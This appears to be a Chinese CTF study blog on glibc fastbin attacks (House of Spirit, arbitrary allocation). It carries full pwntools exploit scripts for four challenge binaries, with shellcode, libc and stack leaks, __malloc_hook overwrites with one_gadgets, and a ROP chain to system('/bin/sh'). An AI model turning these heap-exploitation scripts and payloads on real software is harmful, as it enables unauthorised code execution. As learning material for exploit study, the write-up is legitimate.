Fastbin double free

House Of Spirit

简介

House of Spirit 是 the Malloc Maleficarum 中的一种技术。该技术的核心是在目标处伪造fastbin chunk,将其释放,从而分配至指定地址的内存

要想构造fastbin fake chunk 并将其释放,可以将其放入到对应的fastbin链表中,需要绕过一些必要的检测,即

  • fake chunk的ISMMAP为不能为1,因为free是,如果是mmap的chunk,会单独处理。
  • fake chunk 地址需要对齐,MALLOC_ALIGN_MASK
  • fake chunk 的size大小需要满足对应的fastbin的需求,也需要对齐。
  • fake chunk 的next chunk 的大小不能小于2*SIZE_SZ,同时也不能大于av->system_mem
  • fake chunk对应的fastbin链表头部不因该是fake chunk,即不能构成double free

有个演示(但我没看,看不懂)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include <stdio.h>
#include <stdlib.h>

int main()
{
fprintf(stderr, "This file demonstrates the house of spirit attack.\n");

fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n");
malloc(1);

fprintf(stderr, "We will now overwrite a pointer to point to a fake 'fastbin' region.\n");
unsigned long long *a;
// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));

fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[7]);

fprintf(stderr, "This chunk.size of this region has to be 16 more than the region (to accomodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
fake_chunks[1] = 0x40; // this is the size

fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n");
// fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8
fake_chunks[9] = 0x1234; // nextsize

fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");
a = &fake_chunks[2];

fprintf(stderr, "Freeing the overwritten pointer.\n");
free(a);

fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30));
}

例题:

lctf2016_pwn200

他有两个漏洞点

一个off by null可以泄漏ebp(栈地址)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
__int64 sub_400A8E()
{
__int64 i; // [rsp+10h] [rbp-40h]
char name[48]; // [rsp+20h] [rbp-30h] BYREF 0x30

puts("who are u?");
for ( i = 0LL; i <= 47; ++i )
{
read(0, &name[i], 1uLL);
if ( name[i] == '\n' )
{
name[i] = 0; // 没有边界限制,可以把buf后的东西一起带出来
break;
}
}
printf("%s, welcome to ISCC~ \n", name);
puts("give me your id ~~?");
(get_num)();
return sub_400A29();
}

一个8字节溢出(可以覆盖点堆指针)

1
2
3
4
5
6
7
8
9
10
11
12
__int64 sub_400A29()
{
char buf[56]; // [rsp+0h] [rbp-40h] BYREF 0x38
char *dest; // [rsp+38h] [rbp-8h]

dest = malloc(0x40uLL);
puts("give me money~");
read(0, buf, 0x40uLL); // buf is on the stack
strcpy(dest, buf);
ptr = dest;
return mue();
}

image-20220314142429687

原理就是:

栈上1区和二区我们都可以控制,就把1,2区一起,伪造一下,假装他是一个chunk,释放指针,该chunk就会被收到fastbin中,再次申请,我们就可以控制这一小段栈区,在中间部分(ret_addr)写入我们想写的数据了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# coding=utf-8
from pwn import *
from LibcSearcher import *
context(log_level ='debug', arch = 'amd64',os ='linux')
io = process('./pwn200')
# libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
# libc = ELF('./libc-2.23_x64.so')
# io = remote('node3.buuoj.cn',26987)
def debug():
# raw_input()
gdb.attach(io)

shellcode=""
shellcode += "\x31\xf6\x48\xbb\x2f\x62\x69\x6e"
shellcode += "\x2f\x2f\x73\x68\x56\x53\x54\x5f"
shellcode += "\x6a\x3b\x58\x31\xd2\x0f\x05"
payload = shellcode.ljust(0x30-2,'a') + 'b'*2
io.sendafter("who are u?",payload)
io.recvuntil("bb")
ebp = u64(io.recv(6).ljust(8,'\x00'))
print "ebp=========>"+ hex(ebp)
fake_chunk_addr = ebp - 0xa0
io.recvuntil('id')
io.send('32'+'\n')##0x20##
#the 32(0x20) is import, because the nextsize
payload = p64(0)*4+p64(0)+p64(0x41)##48BYTE##
# PTR of heap
payload = payload.ljust(0x38,'\x00')+p64(fake_chunk_addr+0x10)
##we should point to the mem,not the header,so we +0x10
io.sendafter("money~",payload)
#not the '\n',it will destroy the ebp chain
io.sendlineafter("your choice :","2")
shell_addr = ebp+0x50-0xa0

io.sendlineafter("your choice :","1")
io.sendlineafter("how long?","48")
io.send('a'*0x18 + p64(shell_addr))
io.sendlineafter("your choice :","3")
# debug()
io.interactive()

思想好理解,这里说一下,一些细节,需要注意的。

  1. 我们覆盖chunk地址时,应该填addr of mem,不是addr of header,他自己会根据偏移寻址
  2. 写的的时候注意,’\n’不要随意写,小心把ebp chain给破坏了。
  3. 还有,大部分给你的信息都是有用的,我就因为忽略了(get_id)一直想不明白nextsize怎么写进去的时候.调了好久
1
2
puts("give me your id ~~?");
(get_num)();

Alloc to Stack

和house of spirit差不多,这是控制fd指针,使分配栈上空间。

Arbitrary alloc

简介

Arbitrary Alloc 其实与 Alloc to stack 是完全相同的,唯一的区别是分配的目标不再是栈中。 事实上只要满足目标地址存在合法的 size 域(这个 size 域是构造的,还是自然存在的都无妨),我们可以把 chunk 分配到任意的可写内存中,比如 bss、heap、data、stack 等等。

一般是我们想要控制的__malloc_hook的地址,但是我们需要向上寻址,看是否可以错位处一个合法的size俞。如果程序是64位的,那么fastbin的范围是从32字节到128字节

1
2
3
4
5
6
7
8
//这里的size指用户区域,因此要小2倍SIZE_SZ
Fastbins[idx=0, size=0x10]
Fastbins[idx=1, size=0x20]
Fastbins[idx=2, size=0x30]
Fastbins[idx=3, size=0x40]
Fastbins[idx=4, size=0x50]
Fastbins[idx=5, size=0x60]
Fastbins[idx=6, size=0x70]

通过观察寻址,可以现实错位构造出一个 0x000000000000007f

因为 0x7f 在计算 fastbin index 时,是属于 index 5 的,即 chunk 大小为 0x70 的。

1
2
##define fastbin_index(sz)                                                      \
((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)

而其大小又包含了 0x10 的 chunk_header,因此我们选择分配 0x60 的 fastbin,将其加入链表。 最后经过两次分配可以观察到 chunk 被分配到 malloc_hook周围,因此我们就可以直接控制 __malloc_hook 的内容 (在我的 libc 中__realloc_hook 与__malloc_hook 是在连在一起的)。

小总结

Arbitrary Alloc 在 CTF 中用地更加频繁。我们可以利用字节错位等方法来绕过 size 域的检验,实现任意地址分配 chunk,最后的效果也就相当于任意地址写任意值。

oreo[https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/fastbin-attack/2014_hack.lu_oreo]

也是一house of spirit

同样的原理,利用前后布局将堆申请到bss段上

这个题,倒是有让我又对指针的学习又多了一点点感悟。在bss段上的那个notice指针上呆了一会。

需要记住:指针嘛,指向的永远是地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
# coding=utf-8
from pwn import *
from LibcSearcher import *
context(log_level ='debug', arch = 'amd64',os ='linux')
io = process('./oreo')
elf = ELF('./oreo')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
# libc = ELF('./libc-2.23_x64.so')
# io = remote('node3.buuoj.cn',26987)
def debug():
# raw_input()
gdb.attach(io)



def add(descrip,name):
io.sendline('1')
#io.recvuntil('Rifle name: ')
io.sendline(name)
#io.recvuntil('Rifle description: ')
#sleep(0.5)
io.sendline(descrip)


def show_rifle():
io.sendline('2')
io.recvuntil('===================================\n')


def order():
io.sendline('3')


def message(notice):
io.sendline('4')
#io.recvuntil("Enter any notice you'd like to submit with your order: ")
io.sendline(notice)


# add("aaaaaaaaa","bbbbbbbbbb")
def exp():
print "step 1: leak the libc base"
name = 27 * 'a'+ p32(elf.got['puts'])#overflow the 'next' pointer of the next chunk
add(25*'a',name)
# print "got==========>"+hex(elf.got['puts'])
show_rifle()#then wo could see the address of the 'puts'
io.recvuntil('===================================\n')
io.recvuntil("Description: ")
puts_add = u32(io.recv(4))
print "puts_add==========>"+hex(puts_add)
libcbase = puts_add - libc.sym['puts']
system = libcbase + libc.sym['system']
sh = libcbase + next(libc.search('/bin/sh'))
print "libcbase==========>"+ hex(libcbase)
# print "system==========>"+hex(system)
# print "sh==========>"+hex(sh)

print "leak the address done"
print "step2.free fake chunk at 0x804a2a8"
#now, oifle_cnt=1,we need set it = 0x40 as the fake chunk`size
oifle = 1
while oifle < 0x3f:#it will become 0x40 after another new chunk added
#set next link=NULL
add(25*'a','a'*27+p32(0))
oifle+=1

payload = 'a'*27+p32(0x804a2a8)
#set next link=0x804a2a8,try to free a fake chunk
add(25*'a',payload)
#before free,we need to bypass some check
#fake chunk`size is 0x40
#0x20 * 'a'.for padding the last fake chunk
#0x40 for fake chunk`next chunk`size
#0x100 for fake chunk`s next chunk`s size
#set fake iofle`next to be NULL
payload = 0x20*'\x00'+p32(0x40)+p32(0x100)
payload =payload.ljust(52,'b')
payload+=p32(0)
payload = payload.ljust(128,'c')
message(payload)

order()
print "========>"+hex(elf.got['strlen'])
payload = p32(elf.got['strlen']).ljust(20,'a')
add(payload,'b'*20)
# debug()
message(p32(system)+';/bin/sh\x00')
io.interactive()
exp()
# io.interactive()

其它倒是没什么了。比较老的一道题。

search engine

这道题,我第一眼看到就不想做,初期逆向分析的步骤太费脑子了.这个题真正的的难点也就是在这里,理解了这个,这个题也就没什么难的了。

image-20220409211622062

input_number有个漏洞

image-20220409215326465

我们可以看到,它是递归的,可以泄漏出stack地址,哪怕第一次输入没有把栈信息带出来,后面总是可以的。

然后是search里有UAF

image-20220409211604053

index

image-20220409211919668

image-20220409211951314

它就是要求输入一段话,其中每段话是以空格区分形似“I am a pwner”这样一句话。其储存形式为

sentence储存在一个chunk,然后他会为每一个word申请一个chunk,结构为

1
2
3
4
5
6
7
8
9
10
11
12
0x24fb090:	0x0000000000000000	0x0000000000000031
0x24fb0a0: 0x00000000024fb070 0x000000000000000c
0x24fb0b0: 0x00000000024fb070 0x0000000000000028
0x24fb0c0: 0x00000000024fb040 0x0000000000000031
struct Word {
char *word_ptr;
int word_len;
char *sentence;
int sentence_size;
struct Word *next;
};

image-20220409212538328

search方法通过遍历node(由后向前)可以搜索sentence里的word(会生成一个临时chunk,结束以后将free掉),然打印整个sentence,然后询问你是否删除,删除将free掉sentence,并将buf里的内容全置为0,但不置为sentence指针不为0,存在UAF。free不会影响node。

且,在search里,因为UAF,即使buf已全置为0,只要最低字节不为NULL(需要注意,方法二中将用上),依然可以再匹配(‘\x00’匹配)可以把指针打印出来。同时也一意味着我们可以实现double free

有两个方法

el4师傅推荐的holk的讲解,蛮清楚的这里

方法一:更改malloc_hook

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104


# coding=utf-8
from pwn import *
from LibcSearcher import *
context(log_level ='debug', arch = 'amd64',os ='linux')
io = process('./search')
# libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
libc = ELF('./libc-2.23_x64.so')
# io = remote('node3.buuoj.cn',26987)
def debug():
# raw_input()
gdb.attach(io)

# sla = lambda re,se:io.sendlineafter(re,se)
# sa = lambda re,se:io.sendafter(re,se)
# ru = lambda re :io.recvuntil(re)
# u64 = lambda :io.recvuntil('\x7f')[-6:].ljust(8,'\x00')
# u32 = lambda :io.recvuntil()


def add(size,content):
io.sendlineafter("Quit","2")
io.sendlineafter("size:",str(size))
io.sendlineafter("sentence:",content)

def search(size,content,yes=True):
io.sendlineafter("Quit","1")
io.sendlineafter("size:",str(size))
io.sendlineafter("word:",content)
if yes==True:
io.sendlineafter("(y/n)?","y")
else:
io.sendlineafter("(y/n)?","n")

def search00():
io.sendlineafter("Quit","1")
io.sendlineafter("size:","1")
io.sendlineafter("word:","\x00")


def leak_libc():
smallbin_sentence = 's'*0x85+' m'
add(len(smallbin_sentence),smallbin_sentence)
search(1,'m',True)
search00()


leak_libc()
#申请大于0x80的chunk并释放,使其到unsorted bin里
#search方法可以泄漏libc地址
io.recvuntil("Found 135: ")
libc = u64(io.recv(6).ljust(8,'\x00'))
print "libc====>"+hex(libc)
io.sendlineafter("(y/n)?","no")

smallbin_sentence = 's'*0x85+' m'
add(len(smallbin_sentence),smallbin_sentence)
#分别索引句子a,b,c
#此时单词链表中相对顺序为c->b->a
#索引单词d,三句话都被free
#链表中为a->b->c->null
#再次搜索索引'\x00',任然先遍历c,但是c不通过。a,b通过
#链表中变为b->a->b->a..
sentenceA = 'a'*0x5d + ' d'
sentenceB = 'b'*0x5d + ' d'
sentenceC = 'c'*0x5d + ' d'

add(len(sentenceA),sentenceA)
add(len(sentenceB),sentenceB)
add(len(sentenceC),sentenceC)


search(1,'d',True)
io.sendlineafter("(y/n)?","y")
io.sendlineafter("(y/n)?","y")

search00()
io.sendlineafter("(y/n)?","y")
io.sendlineafter("(y/n)?","y")
# io.sendlineafter("(y/n)?","y")
#然后double free就可以申请malloc_hook附近,写入one_gadget
offset_to_malloc = 0x8b
offset_to_libcbase =0x3c4b78
fakechunk = libc+offset_to_malloc-0xf3-0x23
libcbase = libc - offset_to_libcbase
print "libcbase=====>"+hex(libcbase)
print "fakechunk=====>"+hex(fakechunk)
one = [0x45226,0x4527a,0xf03a4,0xf1247]
# libc
ONE = one[3]+libcbase
payload = p64(fakechunk)
payload = payload.ljust(0x60,'\x00')
add(len(payload),payload)
add(len(sentenceA),sentenceA)
add(len(sentenceA),sentenceA)
sh = 'a'*0x13+p64(ONE)
sh = sh.ljust(0x60,'a')
# sh = 'a'*0x60
add(len(sh),sh)
#程序申请的node会触发shell
# debug()

io.interactive()

评价:方法比较常规,也相较简单

方法二:更改stack返回地址

方法原文:https://www.gulshansingh.com/posts/9447-ctf-2015-search-engine-writeup/

利用input_number泄漏栈地址

申请伪造的node,与之前被释放buf重合,在search的时候可以将libc地址泄露出来,然后构造double free利用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191

# coding=utf-8
from pwn import *
from LibcSearcher import *
context(log_level ='debug', arch = 'amd64',os ='linux')
io = process('./search')
elf = ELF('./search')
# libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
libc = ELF('./libc-2.23_x64.so')
# io = remote('node3.buuoj.cn',26987)
def debug():
# raw_input()
gdb.attach(io)

# sla = lambda re,se:io.sendlineafter(re,se)
# sa = lambda re,se:io.sendafter(re,se)
# ru = lambda re :io.recvuntil(re)
# u64 = lambda :io.recvuntil('\x7f')[-6:].ljust(8,'\x00')
# u32 = lambda :io.recvuntil()

pop_rdi_ret = 0x0000000000400e23
libc_offset = 0x84540
puts_offset = 0x6f6a0
system_offset = 0x453a0
bin_sh_offset = 0x18ce57
#ret2libc所需要的条件
def index_sentence(s):
io.sendline('2')
io.sendlineafter("size:",str(len(s)))
io.sendlineafter("sentence:",s)

def search(s):
io.sendline('1')
io.sendlineafter("size:",str(len(s)))
io.sendlineafter("word:",s)

def search00():
io.sendline("1")
io.sendlineafter("size:","1")
io.sendlineafter("word:","\x00")
def leak_stack():
io.sendline('A'*48)
io.recvuntil('Quit\n')
io.recvline()

# doesn't work all the time
io.sendline('A'*48)
leak = io.recvline().split(' ')[0][48:]
return int(leak[::-1].encode('hex'), 16)
#利用puts泄漏栈地址

def leak_libc():
index_sentence(('a'*12+' b ').ljust(0x28,'c'))

search('a'*12)
io.sendline('y')

index_sentence('d'*0x40)
search('\x00')
io.sendline('y')
#我们申请一个0x28的buf(和node一样大),释放后再申请一个不为0x28的buf。
#新sentence的node会和前面的buf位置重合
#search'\x00'会使这个sentence的node被释放掉(正常情况下并不会发生,但是它任然在链表#上
#)这个时候我们就可以再申请0x28放我们的fake_node,然后我们的fake_node就上链了

node = ''
node+=p64(0x400ed0) #word pointer "Enter"
node+=p64(5)
node+=p64(elf.got['free'])
node+=p64(64)
node+=p64(0x000000)
assert len(node)==40

index_sentence(node)
io.clean()
#此时搜索elf文件内的字符,就可以顺带把libc带出来
search('Enter')
io.recvuntil('Found 64: ')
leak = u64(io.recvline()[:8])
io.sendline('n') # deleting .it isn't necessary
return leak


def make_cycle():
index_sentence('a'*54+" d")
index_sentence('b'*54+" d")
index_sentence('c'*54+" d")
search('d')
io.sendline('y')
io.sendline('y')
io.sendline('y')
search('\x00')
io.sendline('y')
io.sendline('n')



def make_fake_chunk(addr):
fake_chunk = p64(addr)
index_sentence(fake_chunk.ljust(0x38))

def allocate_fake_chunk(bin_sh,system):
index_sentence('A'*0x38)
index_sentence('B'*0x38)

#这里提一下,stack_addr这个地址的要求,
#它需要满足size(这里是0x40)
#还要求是在ret的附近,不然写不到
#这个地址是我直接拿的,要我找应该要找挺久
#rbp从来不指向栈
#我简单调试找了一下,是不能直接定位到ret_addr的
#只有一步一步单步调试找ret也不知道是不是运气好,才刚好
#满足0x40的size条件,又能包括ret_addr
/*
pwndbg> stack 50
00:0000│ rsp 0x7fff589090b8 —▸ 0x7fa711ee05f8 (_IO_file_underflow+328) ◂— cmp rax, 0
01:0008│ 0x7fff589090c0 ◂— 0x1
02:0010│ 0x7fff589090c8 —▸ 0x7fa71222a8e0 (_IO_2_1_stdin_) ◂— 0xfbad2088
03:0018│ 0x7fff589090d0 ◂— 0x0
04:0020│ 0x7fff589090d8 —▸ 0x7fa711edf068 (__GI__IO_file_xsgetn+408) ◂— cmp eax, -1
05:0028│ 0x7fff589090e0 —▸ 0x7fa71222a8e0 (_IO_2_1_stdin_) ◂— 0xfbad2088
06:0030│ 0x7fff589090e8 ◂— 0x1
... 3 skipped
0a:0050│ 0x7fff58909108 —▸ 0x7fa711ed4246 (fread+150) ◂— test dword ptr [rbx], 0x8000
0b:0058│ 0x7fff58909110 ◂— 0x0
0c:0060│ 0x7fff58909118 ◂— 0x0
0d:0068│ 0x7fff58909120 —▸ 0x7fff58909180 —▸ 0x7fff5890920a ◂— 0x40 /* '@' */
0e:0070│ 0x7fff58909128 ◂— 0x30 /* '0' */
0f:0078│ 0x7fff58909130 —▸ 0x7fff58909180 —▸ 0x7fff5890920a ◂— 0x40 /* '@' */
10:0080│ 0x7fff58909138 —▸ 0x4009f6 ◂— test eax, eax
11:0088│ 0x7fff58909140 —▸ 0x7fff58909180 —▸ 0x7fff5890920a ◂— 0x40 /* '@' */
12:0090│ 0x7fff58909148 —▸ 0x400dc0 ◂— push r15
13:0098│ 0x7fff58909150 —▸ 0x400897 ◂— xor ebp, ebp
14:00a0│ 0x7fff58909158 —▸ 0x7fff589092c0 ◂— 0x1
15:00a8│ 0x7fff58909160 ◂— 0x0
16:00b0│ 0x7fff58909168 —▸ 0x400a6c ◂— lea rsi, [rsp + 8]
17:00b8│ 0x7fff58909170 ◂— 0xa /* '\n' */
18:00c0│ 0x7fff58909178 —▸ 0x400f36 ◂— xor edi, dword ptr [rdx] /* '3: Quit' */
19:00c8│ r9 r14 0x7fff58909180 —▸ 0x7fff5890920a ◂— 0x40 /* '@' */
1a:00d0│ 0x7fff58909188 —▸ 0x7fa711ee082b (_IO_file_overflow+235) ◂— cmp eax, -1
1b:00d8│ 0x7fff58909190 ◂— 0x7
1c:00e00x7fff58909198 —▸ 0x7fa71222b620 (_IO_2_1_stdout_) ◂— 0xfbad2887
1d:00e80x7fff589091a0 —▸ 0x400f36 ◂— xor edi, dword ptr [rdx] /* '3: Quit' */
1e:00f0│ 0x7fff589091a8 —▸ 0x7fa711ed580a (puts+362) ◂— cmp eax, -1
1f:00f8│ 0x7fff589091b0 ◂— 0x0
20:0100│ 0x7fff589091b8 ◂— 0x745c7ca151bf7700
21:0108│ 0x7fff589091c0 ◂— 0x0
22:0110│ 0x7fff589091c8 —▸ 0x400d7e ◂— cmp eax, 1 《=====ret_addr
23:0118│ 0x7fff589091d0 —▸ 0x400dc0 ◂— push r15
24:0120│ 0x7fff589091d8 —▸ 0x400890 ◂— xor eax, eax
25:0128│ 0x7fff589091e0 ◂— 0x0
*/
buf = 'A'*30
buf += p64(pop_rdi_ret)
buf += p64(bin_sh)
buf += p64(system)
buf = buf.ljust(0x38,'\x00')
index_sentence(buf)



def main():
index_sentence("aaaaaa")
#注意!前面说的,低地址不能为null,所以需要先申请一个chunk
#使后面的chunk的地址,低三位不从0x000开始(不然后面操作会失败)
stack_leak = leak_stack()
stack_addr = stack_leak + 0x22 -8
log.info('stack leak==========> %s' % hex(stack_leak))
log.info('stack addr==========> %s' % hex(stack_addr))

libc_leak = leak_libc()
# leak_libc()
libc_base = libc_leak - libc_offset
system = libc_base + system_offset
bin_sh = libc_base + bin_sh_offset

log.info('libc leak===========> %s ' % hex(libc_leak))
log.info('libc_base===========> %s ' % hex(libc_base))
log.info('system addr=========> %s ' % hex(system))
log.info('bin_sh addr=========> %s ' % hex(bin_sh))

# debug()
make_cycle()
make_fake_chunk(stack_addr)
allocate_fake_chunk(bin_sh,system)

io.interactive()

if __name__=='__main__':
main()
io.interactive()

0ctf_2017_babyheap

这个题再我最初学堆的时候就做过一次(其实应该算作抄过一次),这次是为总结又做一次

程序主体

image-20220411095021431

这里get_mmap将控制对信息的node结构并没有放在堆区,而是放在一个新开辟的一个较随机的区域,也就是说如果我们想打他的node,还得额外想办法泄漏,得到这一区域的地址(这题里几乎不可能)

image-20220411095245011

node

1
2
3
4
5
6
stuct node
{
int flag //it is freed?
int size
int ptr
}

fill里就有一个溢出(这个题里面就足够了)

image-20220411095633153

提一下,dele里面有个东西不一样,和其它功能

image-20220411095818326

他在检验正负数的时候,和之前的都不一样。如果字长一样,那么就可以当正常的价差使用,但是,如果不一样(tmp为16字节时),负数一样通过检查。

小测试

image-20220411101134453

满足第32位为0,就可以任意数绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <stdio.h>
#include <stdlib.h>

int main()
{
long long num = -74450133487452161;
if((num & 0x80000000) == 0)
{
puts("TURE");
}
else
{
puts("false");
}
return 0;
}

image-20220411102757183

说回来,这个题里只有一个堆溢出。因为没有uaf,不能直接泄漏指针。

但是,可以通过溢出,修改被free堆块的fd,使最终两个bin能指向同一个chunk,最终实现泄漏.

具体实现中需要需修改size

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92

# coding=utf-8
from pwn import *
from LibcSearcher import *
context(log_level ='debug', arch = 'amd64',os ='linux')
io = process('./0ctf_2017_babyheap')

# libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
libc = ELF('./libc-2.23_x64.so')
# io = remote('node3.buuoj.cn',26987)
def debug():
# raw_input()
gdb.attach(io)

# sla = lambda re,se:io.sendlineafter(re,se)
# sa = lambda re,se:io.sendafter(re,se)
# ru = lambda re :io.recvuntil(re)
# u64 = lambda :io.recvuntil('\x7f')[-6:].ljust(8,'\x00')
# u32 = lambda :io.recvuntil()

def debug():
# raw_input()
gdb.attach(io)

def add(size):
io.sendlineafter("Command:","1")
io.sendlineafter("Size: ",str(size))

def edit(index,size,content):
io.sendlineafter("Command:","2")
io.sendlineafter("Index: ",str(index))
io.sendlineafter("Size: ",str(size))
io.sendafter("Content: ",content)

def show(index):
io.sendlineafter("Command:","4")
io.sendlineafter("Index: ",str(index))

def free(index):
io.sendlineafter("Command:","3")
io.sendlineafter("Index: ",str(index))

#0~15
add(0x10)#0
add(0x10)#1
add(0x10)#2
add(0x10)#3
add(0x80)#4
add(0x10)#5

free(2)
free(1)
#It is aligned at 4kb,so the first chunk`addr must bigan with 0x000
edit(0,0x21,'a'*0x10+p64(0)+p64(0x21)+p8(0x80))
# show(2)
edit(3,0x20,'a'*0x10+p64(0)+p64(0x21))
add(0x10)#1
add(0x10)#2 overlap on the chunk4
edit(3,0x20,'a'*0x10+p64(0)+p64(0x91))#change back

free(4)
# the chunk will be add to fastbin
show(2)
io.recvuntil("Content: \n")
libc_addr = u64(io.recv(6).ljust(8,'\x00'))

print "libc_addr===========>"+hex(libc_addr)
offset_to_libcbase = 0x3c4b78
libcbase = libc_addr - offset_to_libcbase

#cuting from 0x80
add(0x60)#4
free(4)
malloc_hook = libcbase+libc.sym['__malloc_hook']
target = malloc_hook - 0x23
print "malloc_hook========>"+hex(malloc_hook)
print "target========>"+hex(target)
edit(3,0x28,'a'*0x10+p64(0)+p64(0x71)+p64(target))#change back
add(0x60)

add(0x60)#got it

one = [0x45226,0x4527a,0xf03a4,0xf1247]
# libc
ONE = one[1]+libcbase
payload = 'a'*0x13+p64(ONE)
payload = payload.ljust(0x30,'\x00')
edit(6,0x30,payload)
add(0x10)

# debug()
io.interactive()
2022-03-12

⬆︎TOP